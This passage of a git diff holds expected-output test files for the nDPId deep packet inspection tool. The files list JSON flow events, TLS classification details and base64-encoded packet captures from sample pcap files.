ZS5oYWJp"} +00877{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":17600,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":6,"flow_first_seen":1605289733399,"flow_last_seen":1605289733466,"flow_tot_l4_data_len":1773,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":295,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:7a6e","src_port":40114,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"js-agent.newrelic.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01862{"flow_id":37,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17601,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":466834,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdlem4qAcsBIEmLB5kd7IUo3\/YpAbucsmOjpkMAcZgPgBgLMGR7AAABAQgKwrltScW6TKN0YXQuc2iCEiouYXBpLnN3aWZ0eXBlLmNvbYILKi5hcnQxOS5jb22CCyouYnJhdmUuY29tggkqLmNoZWYuY2+CCSouY2hlZi5pb4INKi5jb29rcGFkLmNvbYIPKi5ldmJzdGF0aWMuY29tghAqLmV2ZW50YnJpdGUuY29tghUqLmV4cGVyaWVuY2Vwb2ludC5jb22CESouZnMucGFzdGJvb2suY29tghEqLmZzLnF1cGxvYWRzLmNvbYILKi5mdGNkbi5uZXSCCSouZnViby50doINKi5nZXRjaGVmLmNvbYIRKi5naXRoYXNoLmZ1Ym8udHaCDCouaGFiaXRhdC5zaIILKi5pbnNwZWMuaW+CCyouaXNzdXUuY29tggkqLmlzdS5wdWKCFyouamltZG8tZGV2LXN0YWdpbmcuY29tghoqLmppbWRvLXN0YWJsZS1zdGFnaW5nLmNvbYILKi5sdWx1cy5jb22CFCoubWFuc2lvbi1tYXJrZXQuY29tgg0qLm1hcmZlZWwuY29tggwqLm1hc3NyZWwuaW+CCioubWVldHUucHOCDCoubWVldHVwLmNvbYISKi5tZWV0dXBzdGF0aWMuY29tgg4qLm5ld3JlbGljLmNvbYINKi5vcHNjb2RlLmNvbYIQKi5wZXJpbWV0ZXJ4Lm5ldIIaKi5wcm9kdWN0aW9uLmNkbi5hcnQxOS5jb22CEyouc3RhZ2luZy5hcnQxOS5jb22CFyouc3RhZ2luZy5jZG4uYXJ0MTkuY29tgg4qLnN3aWZ0eXBlLmNvbYIMKi50aXNzdXUuY29tghYqLnZpZGVvLmZyYW5rbHlpbmMuY29tgg0qLndpa2lob3cuY29tgg4qLndvcmxkbm93LmNvbYIJNTAwcHguY29tggk1MDBweC5uZXSCCTUwMHB4Lm9yZ4IMYTEuYXdpbjEuY29tghVhY2NlcHRhbmNlLmhhYml0YXQuc2iCEGFwaS5zd2lmdHlwZS5jb22CEGFwcC5iaXJjaGJveC5jb22CGGFwcC5zdGFnaW5nLmJpcmNoYm94LmNvbYIXYXBwLnN0YWdpbmcuYmlyY2hib3guZXOCCWFydDE5LmNvbYIJYnJhdmUuY29tghNjZG4tZi5hZHNtb2xvY28uY29tgg1jZG4uZXZidWMuY29tghBjZG4ucG9seWZpbGxzLmlvggdjaGVmLmNvggdjaGVmLmlvghVjb250ZW50LmdhbWVmdWVsLmluZm+CCWV2YnVjLmNvbYITZXhwZXJpZW5jZXBvaW50LmNvbYIQZmFzdC5hcHBjdWVzLmNvbYIPZmFzdC53aXN0aWEuY29tgg9mYXN0Lndpc3RpYS5uZXSCDmZhc3Qud2lzdGlhLnN0ggdmdWJvLnR2"} +00458{"flow_id":37,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17602,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":466859,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBe6sACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXpunLIBuwBxmA9jo6ZDgBAB9ZqRAAABAQgKxbpM0MK5bUk="} +00458{"flow_id":37,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17603,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":466898,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBe6sACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXpunLIBuwBxmA9jo6pbgBAB85Z7AAABAQgKxbpM0MK5bUk="} +01867{"flow_id":37,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17604,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":468838,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdlem4qAcsBIEmLB5kd7IUo3\/YpAbucsmOjqlsAcZgPgBgLMKPDAAABAQgKwrltScW6TKOCC2dldGNoZWYuY29tgg9naXRoYXNoLmZ1Ym8udHaCCmhhYml0YXQuc2iCDmhiYnR2LjZwbGF5LmZyghFob3VzdG9udGV4YW5zLmNvbYIQaW5zaWdodC5hdHBpLmNvbYIJaW5zcGVjLmlvghVqaW1kby1kZXYtc3RhZ2luZy5jb22CGGppbWRvLXN0YWJsZS1zdGFnaW5nLmNvbYITbGluay5zZy5ib29raW5nLmNvbYISbWFuc2lvbi1tYXJrZXQuY29tghFtZWRpYS5idW5pdGVkLmNvbYIIbWVldHUucHOCCm1lZXR1cC5jb22CEG1lZXR1cHN0YXRpYy5jb22CF29uYWlyaGxzLm1hbGltYXJjZG4ubmV0ggtvcHNjb2RlLmNvbYIOcGVyaW1ldGVyeC5uZXSCG3BvbHlmaWxsLndlYnNlcnZpY2VzLmZ0LmNvbYIPcWEucG9seWZpbGxzLmlvggtyYWlkZXJzLmNvbYIQcy5zZy5ib29raW5nLmNvbYIRcy5zd2lmdHlwZWNkbi5jb22CE3N0YXRpYy5iaXJjaGJveC5jb22CDHN3aWZ0eXBlLmNvbYIQdml2ZXJlcGl1c2FuaS5pdIILd2lraWhvdy5jb22CCndpc3RpYS5jb22CDXd3dy5kd2luMi5jb22CFXd3dy5ob3VzdG9udGV4YW5zLmNvbYIPd3d3LnJhaWRlcnMuY29tghB3d3cud2FkYS1hbWEub3JnMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBSpK4fhziRHOxu\/z4U3AlWdDZRY5jAdBgNVHQ4EFgQU0jcfnd8EK81lnYZ9cz3N3vRpV90wggEGBgorBgEEAdZ5AgQCBIH3BIH0APIAdwBvU3asMfAxGdiZAKRRFf93FRwR2QLBACkGjbIImjfZEwAAAXVVILeWAAAEAwBIMEYCIQChhMvWfMfynyp4Bbr+4rxEVdVbpxEjNJpO7dfk+0jP1AIhAIOCfYeAG2NIRgr0Hsb7TJfTDK2ZGNrxT8wAl5D7n7IlAHcA9lyUL9F3MCIUVBgIMJRWjuNNExkzv98MLyALzE7xZOMAAAF1VSC6UAAABAMASDBGAiEA4zaXXaLOI5+L9T3ZcE0bV7qahN7hG6av+65XE+625mcCIQDAUfxSPQn69N\/i6yAiZ3FkILhpMdK3z6DsHAoG7GYIpzANBgkqhkiG9w0BAQsFAAOCAQEAopDgw41hPl1nTt5aObFDv\/iSMPLzFGQWYuHUT554uwkkSgCVmWdhMlaVbTaiTbjEx5Ou\/3WdOlOBbWUpUJVkOnnjV9yhiJB6P9bAJCiLMvXFYgAjuZU6LIyvgx+nnxDgMCJmgxHQagXLrHpDnymc"} +01876{"flow_id":37,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17605,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":468840,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdlem4qAcsBIEmLB5kd7IUo3\/YpAbucsmOjrnMAcZgPgBgLMFgHAAABAQgKwrltScW6TKOd9PhAK2tdznyFLEeQZmf95xBlDlcghlLw3wTKaKqy0d\/fQPmCrco\/PgSPxFMm1GqCbKrVOWoLXMFWKJPbNszgQdWk+KNTh9Bjz6kuDpG\/gieDDvLlQLWsZL9x6zKdWFys\/0sXqrQGh49ubz4iYHmkIxua+TIhmppNdZPCaMPcx4FZK5GFNN+2zpJ5vbGUyHqmAASPMIIEizCCA3OgAwIBAgIORvCM288sVGbvMwHdXzQwDQYJKoZIhvcNAQELBQAwVzELMAkGA1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jvb3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw0xNTA4MTkwMDAwMDBaFw0yNTA4MTkwMDAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMS0wKwYDVQQDEyRHbG9iYWxTaWduIENsb3VkU1NMIENBIC0gU0hBMjU2IC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCjwHXhMpjl2a6EfI3oI19GlVtMoiVw15AEhYDJtfSKZU2Sy6XEQqC2eSUx7fGFIM0TUT1nrJdNaJszhlyzey2q33egYdH1PPua\/NPVlMrJHoAbkJDIrI32YBecMbjFYaLiblclCG8kmZnPlL\/Hi2uwH8oU+hibbBB8mSvaSmPlsk7C\/T4QC0j0dwsv8JZLOu69Nd6FjdoTDs4BxHHT03fFCKZgOSWnJ2lcg9FvdnjuxURbRb0pO+LGCQ+ivivc41zaWm+O58kHa36hwFOVgongeFxyqGy+Z2ur5zPZh\/L4XCf09io7h+\/awkfav6zrJ2R7TFPrNOEvmyBNVBJrfSi9AgMBAAGjggFTMIIBTzAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMBIGA1UdEwEB\/wQIMAYBAf8CAQAwHQYDVR0OBBYEFKkrh+HOJEc7G7\/PhTcCVZ0NlFjmMB8GA1UdIwQYMBaAFGB7ZhpFDZfKiVAvfQTNNKj\/\/P1LMD0GCCsGAQUFBwEBBDEwLzAtBggrBgEFBQcwAYYhaHR0cDovL29jc3AuZ2xvYmFsc2lnbi5jb20vcm9vdHIxMDMGA1UdHwQsMCowKKAmoCSGImh0dHA6Ly9jcmwuZ2xvYmFsc2lnbi5jb20vcm9vdC5jcmwwVgYDVR0gBE8wTTALBgkrBgEEAaAyARQwPgYGZ4EMAQICMDQwMgYIKwYBBQUHAgEWJmh0dHBzOi8vd3d3Lmdsb2JhbHNpZ24uY29tL3JlcG9zaXRvcnkvMA0GCSqGSIb3"} +01873{"flow_id":37,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17606,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":468841,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdlem4qAcsBIEmLB5kd7IUo3\/YpAbucsmOjsosAcZgPgBgLMFjYAAABAQgKwrltScW6TKMNAQELBQADggEBAKIdaYoKjsQUgyoqEk05J5BO8I2s0pZiRzZektH6xZO1NwdlKdL0U1BryfT+NPXduB36\/NwUrFaUJ5xCqgRNt+1Y2ZnSSeYgL9Ond7gqiRrvp8+GLdZT6QuTnE6r2UXupISF\/zTkDsC7pc5flYmFcKrBXezPK9PZg98DyoGnAjK3d2EQJU7ZdPPZeYK1JnC0UryPM9eKrhnQ\/JKtL7o8oEhYR179IFaVIMFyHatmmaTVeDdIG5+yTDdnev1C0tNWntMdjsQMaJa2R1EQ93vrFQlk9fnwYxYtPd8jQjqTY8yrr09XBsf+FFVizicRGeH0Qu0iMGs1GkoFgKRl38zLb9AWAwMGDxYABgsBAAYHMIIGAwoBAKCCBfwwggX4BgkrBgEFBQcwAQEEggXpMIIF5TCBnqIWBBQnN6sZ+rEF+sP3dIHQ5lzluT6oixgPMjAyMDExMTEwMDA3MDJaMHMwcTBFMAkGBSsOAwIaBQAEFBLq30bMCIA4c2C2WmkWAcwMteniBBSpK4fhziRHOxu\/z4U3AlWdDZRY5gIMRcWik9P0NjekLTBzgAAYDzIwMjAxMTExMDAwNzAyWqARGA8yMDIwMTExNTAwMDcwMlqhAjAAMA0GCSqGSIb3DQEBCwUAA4IBAQACvM7doTFvMiUjx5TizkeeqQLvGfWJq7tTztQuAKWB0txlI0s1blrKdkuRGwB9sJ0L6QjRZ7k\/WKyA9XfPA7fmQsgxxdGTdLtaxhjbCy9eNlalFeuZKdfpTF4+edjYlEH994CXdlecf+mDR\/tj+GmNuRT1\/fsRRIgn+pl4FdMQ8fZNLdYZ1s7XaX9NZjdlNRViuTII7\/A\/Zqn2cyzxhc\/1zcEMIr0z6FA4v2COl8J2+8fXYZO2PWSjfqpMIYGgSykMRAC0pLef3bwABzSiyaY4e1PFAx4lnkc7ei8IVqfF90vksLZz1TeWs8C0z3qOOfjScFpZVQCOSB4QTmIToyVeoIIELDCCBCgwggQkMIIDDKADAgECAgwQF9wx7V3hFNRFqzswDQYJKoZIhvcNAQELBQAwVzELMAkGA1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExLTArBgNVBAMTJEdsb2JhbFNpZ24gQ2xvdWRTU0wgQ0EgLSBTSEEyNTYgLSBHMzAeFw0yMDEwMjYwNjQ4MjJaFw0yMTAxMjYwNjQ4MjJaMH8xCzAJBgNVBAYTAlNHMRswGQYDVQQKExJHbG9iYWxTaWduIFB0ZSBMdGQxFTATBgNVBAUTDDIwMTkwNTE3MDA0NjE8MDoGA1UEAxMzR2xvYmFsU2lnbiBDbG91ZFNTTCBDQSAtIFNIQTI1NiAtIEczIE9DU1AgUmVzcG9u"} +02741{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":17606,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":12,"flow_first_seen":1605289733399,"flow_last_seen":1605289733468,"flow_tot_l4_data_len":6157,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":513,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:7a6e","src_port":40114,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Media"},"tls": {"version":"TLSv1.2","client_requested_server_name":"js-agent.newrelic.com","server_names":"f4.shared.global.fastly.net,*.500px.com,*.500px.net,*.500px.org,*.acceptance.habitat.sh,*.api.swiftype.com,*.art19.com,*.brave.com,*.chef.co,*.chef.io,*.cookpad.com,*.evbstatic.com,*.eventbrite.com,*.experiencepoint.com,*.fs.pastbook.com,*.fs.quploads.com,*.ftcdn.net,*.fubo.tv,*.getchef.com,*.githash.fubo.tv,*.habitat.sh,*.inspec.io,*.issuu.com,*.isu.pub,*.jimdo-dev-staging.com,*.jimdo-stable-staging.com,*.lulus.com,*.mansion-market.com,*.marfeel.com,*.massrel.io,*.meetu.ps,*.meetup.com,*.meetupstatic.com,*.newrelic.com,*.opscode.com,*.perimeterx.net,*.production.cdn.art19.com,*.staging.art19.com,*.staging.cdn.art19.com,*.swiftype.com,*.tissuu.com,*.video.franklyinc.com,*.wikihow.com,*.worldnow.com,500px.com,500px.net,500px.org,a1.awin1.com,acceptance.habitat.sh,api.swiftype.com,app.birchbox.com,app.staging.birchbox.com,app.staging.birchbox.es,art19.com,brave.com,cdn-f.adsmoloco.com,cdn.evbuc.com,cdn.polyfills.io,chef.co,chef.io,content.gamefuel.info,evbuc.com,experiencepoint.com,fast.appcues.com,fast.wistia.com,fast.wistia.net,fast.wistia.st,fubo.tv,getchef.com,githash.fubo.tv,habitat.sh,hbbtv.6play.fr,houstontexans.com,insight.atpi.com,inspec.io,jimdo-dev-staging.com,jimdo-stable-staging.com,link.sg.booking.com,mansion-market.com,media.bunited.com,meetu.ps,meetup.com,meetupstatic.com,onairhls.malimarcdn.net,opscode.com,perimeterx.net,polyfill.webservices.ft.com,qa.polyfills.io,raiders.com,s.sg.booking.com,s.swiftypecdn.com,static.birchbox.com,swiftype.com,viverepiusani.it,wikihow.com,wistia.com,www.dwin2.com,www.houstontexans.com,www.raiders.com,www.wada-ama.org","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=BE, O=GlobalSign nv-sa, CN=GlobalSign CloudSSL CA - SHA256 - G3","issuerDN":"C=US, ST=California, L=San Francisco, O=Fastly, Inc., CN=f4.shared.global.fastly.net","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"BE:28:82:77:5B:06:41:1F:70:84:BD:A4:B9:FB:F0:BC:B1:B5:E3:A0"}} +01876{"flow_id":37,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17607,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":468842,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdlem4qAcsBIEmLB5kd7IUo3\/YpAbucsmOjtqMAcZgPgBgLMNtJAAABAQgKwrltScW6TKNkZXIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCqrKM7vX5KZ+\/+rPQprvfOSRYCynIjzc0wwUdQrsX5vbFbUH7xlLyYcP+uiMzprDU+gYHz51aDxDvCVEVQaNrioKCE65d+zQlPIrtplIEOQ7mVk\/a0DbrrNUtXMBAZMyJP9bSxZ4pyY7m6WG86zbbAwENvxFRn8FPIAe1qHhs4Uwgv+01lU60Xa+PwNFFm0rR9rj6ztkjCHCT5eQGpzjf5Iwooq0ViOGHeve23nozVi0qCgL4RdddFvz\/gVmZ4RDnvcm3+acranxNeaoH3NzK6SMSadamHJgqyLZA6h42zzIpeNJ3EoqDhOCLXgaV4jGQI9DExCqDkyi1ctR2f7HdvAgMBAAGjgccwgcQwHwYDVR0jBBgwFoAUqSuH4c4kRzsbv8+FNwJVnQ2UWOYwTAYDVR0gBEUwQzBBBgkrBgEEAaAyAV8wNDAyBggrBgEFBQcCARYmaHR0cHM6Ly93d3cuZ2xvYmFsc2lnbi5jb20vcmVwb3NpdG9yeS8wDwYJKwYBBQUHMAEFBAIFADATBgNVHSUEDDAKBggrBgEFBQcDCTAdBgNVHQ4EFgQUJzerGfqxBfrD93SB0OZc5bk+qIswDgYDVR0PAQH\/BAQDAgeAMA0GCSqGSIb3DQEBCwUAA4IBAQBYrdMQ3rHOvEDcQ\/YXiDSa+YOGH5vdKUsoY4dIE1OOsKbzkTcy0SQjXbu885v9FU639im6wjcM4r4y0z2dv0wThyQd5M+OxuNkGxxxhmSJ1YCialDCOmiBvCCoAUmHKEjw3+CTGTYjdqtssj0d6vdpfB9BEw0p8+z7luyF8J1rOpaXSYPNjtGC7wymh4Fnj6MdtE1fTVPtTOq6DBqTdOdoZ34DHXRegFj5kHqavxkjKlWlTUxM3LZHbU\/pcuo7+9HNYTVANftUq1\/UvXTvFjE1V70rzSeNFVbRUfmLx1ZmUCHo9YxvYDQpPBjDJGSORiX97b12+9Gq7cGOKQYlI+5pFgMDASwMAAEoAwAdIFr5lFggT4Gtqcf05p5j9TWlaPancoWOGslEZykcLaQ2CAQBAETQlqljPZX7dWO7khUxXHv2TUyQIn8IYE1JUm1vb\/hyjC40eW2xd4IabhxPxJUwVVfW6bFw7RefZ62QMZ0pEi6sqAMvEG\/DzJgOpszQRYkluTfh80t+IgfgGc2RP3ZQ8NIM0gLwAmHXxnBomUkv\/\/y\/05xqj51n0NmALxf9Cmg5UiGY90UDAPfDoVMDoqTt1I3J6bu0ZH\/wrSe2f6jdXKjWZ+PCZz+8TaVTlQi2l0q3pjzz5zSn7oK5NTVyq5jMRQy8y8RO+bClxOinaPbCR6v24JJWHzySDSmApU263+jK"} +00459{"flow_id":37,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17608,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":468857,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBe6sACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXpunLIBuwBxmA9jo65zgBAB9ZJfAAABAQgKxbpM0sK5bUk="} +00459{"flow_id":37,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17609,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":468886,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBe6sACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXpunLIBuwBxmA9jo7KLgBAB845JAAABAQgKxbpM0sK5bUk="} diff --git a/test/results/pps.pcap.out b/test/results/pps.pcap.out new file mode 100644 index 000000000..68b50f5de --- /dev/null +++ b/test/results/pps.pcap.out @@ -0,0 +1,610 @@ +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"pps.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1467353136432,"flow_last_seen":0,"flow_tot_l4_data_len":1073,"flow_min_l4_data_len":1073,"flow_max_l4_data_len":1073,"flow_avg_l4_data_len":1073,"midstream":0,"l3_proto":"ip4","src_ip":"1.173.5.226","dst_ip":"192.168.115.8","src_port":22636,"dst_port":22793,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01837{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":432546,"pkt_caplen":1107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1107,"pkt_l4_len":1073,"pkt":"ABxCjnAxTF4M6gNlCABFAARFnt8AAHkRY4kBrQXiwKhzCFhsWQkEMf8ywISVs7ORwenTFHKVo6On5uSI0FSEcN6hpKSkpNyhoaGhoaGhpZUqLaxIFnIc1o9j1V\/jBxJYgTJzuNolbzVZ0R0xZInD9kisn9RUmqrxmfaOfWLidBLnlikkHNGned0J8w\/52jjY0bi7jWD1Ne30q1o07ZUYUv\/QbvJH0F4eDOmx08v7Bn20GVMFMCjodWpNTNXJ2SexjrFeI6FN4QYXCHMojb7c\/PEThAYazMCmu0O\/roaBRseEPs6rkTe8cp9cAvQ\/n5mjopI2U8mnsMzLdAnslhYT0HUp9qJVwLrEv01esKN2ht\/bwWWVF5TQquAB9v7Wt6e2OQ8vuih+Atb\/n4iLmHyAs8+DFzXEuSUKcpvamkMM7UM6hef8q9KNvY9qWQR1Tk9ycKmbR0smL1JeXfm85kJMbN\/EYgsXVxKaRK2Rv1yY1dyGePuc3UEjPL+KzMtadixFRQ2hL7UpDi17vDigTJ7AYF91J2Ja6BY8r45GbA0qcKjT\/2PMj0bcxGB5DZVExfvPgmT3pnLIXAIQCOuPxcK1euFQEq3Apr\/U+RUfsQg\/rkRxZFaG23hIOWdbuHAYWf162Ln84BIDQyIvmVPxm8HZfjSFxo5lT3SAnYhEraONvTPmIXSleQ0yKdGJXnTmaDvKNiI7tvMq4Ue8NItBFyrpaz\/ey7wisHK9g6RaTXC2Chi58N03IkAUbldcXIkAS5oXnhiCl8IRbYlSyiMzSearcyriLmt1A2oCZsMGjLI+Vg\/QQvFWKc8MUtJXDD\/3\/zP8XOVOsXbwqPjP0oQ7zs+cPcwh\/zsX++z5sEE67YjR9MZx16gb1c6v0nV6LooYTawJrbu4mQmfFZzBirmdYpVDc4DqSieyA3bfOctfLgZnR3dYSCqNYYEecOcnZB43DJPn8EapO45onRSmMzS98N7TjaXmivBMLMEYQUMWDdAQR+RohVRWZ8yz03QldhdX5BlmxjsyF+QH4XhdR0TNLGfQpBdbvPuC7brPT34pQ\/bB6DZ6ODmbu+A2bFlwaKRZQmJpDJEqSpl\/j8OazBmvo4z1ZZoiN2qDNKYSKtk5sX2V4oom7Mnsk9hlp\/P7QgLEBpxQ6BCZB+MVDHR5MiRiLZDeVw70iySjxEYrchS3jdcNstavegpWpk9whZhUojqFPGvCcQT6tmKjbQIj5Hu8ksUMNE+8BTHM8uZtK\/5DEb5Sp8gJi14\/rPknXLsL1+u4QhASTCXJWfbflBR6pE5s+QTIeXdrRWYqM9thmBhP+C3ZF+iPYB\/m3bwwcBgmvlLrzojH5FQZ4K8lHE7ijUN9HVDnNUbnZc73qehkk0VqLJlMqTyl7jKytXnNXEqS0p7S2OdJ0s12tQ48KCHUsQqmAui3sLr0tFku+q\/\/8h3kbG7OZisKcU6BzQvEtOBdMqyPELwAAAAA"} +00442{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":432852,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"TF4M6gNlABxCjnAxCABFAABBfzYAAIARgDbAqHMIAa0F4lkJWGwALVw+2oCeu7uZyeHbHHqdq6urqq6n\/nt+fn5+wr+\/v7+\/v7+7W6Rb\/w=="} +00442{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":433183,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"TF4M6gNlABxCjnAxCABFAABBfzYAAIARgDbAqHMIAa0F4lkJWGwALVw+2oCeu7uZyeHbHHqdq6urqq6n\/nt+fn5+wr+\/v7+\/v7+7W6Rb\/w=="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4,"source":"pps.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1467353136433,"flow_last_seen":0,"flow_tot_l4_data_len":1073,"flow_min_l4_data_len":1073,"flow_max_l4_data_len":1073,"flow_avg_l4_data_len":1073,"midstream":0,"l3_proto":"ip4","src_ip":"118.171.15.56","dst_ip":"192.168.115.8","src_port":5544,"dst_port":22793,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01833{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353136,"pkt_ts_usec":433806,"pkt_caplen":1107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1107,"pkt_l4_len":1073,"pkt":"ABxCjnAxTF4M6gNlCABFAARFhzQAAHkR\/N92qw84wKhzCBWoWQkEMTBPOYRsSkpoOBAq7YtsWlpeHx21oCksw14HBAQEBCRZWVlZWVlZXWtIvRNzg+x4YJ6OEO8cltiLcOU8BOz\/urBW00craORvrtlivb6CNrRY6wslKl6quTFUFt7AGM+ySHcXQprs3YevxHx6dpyzN96qU\/NFfvSPJ1ibhEJZe\/DXaBAfekeRdaL1fVAdRwbo7mxW7o4yfI0kSrHcBJRK2r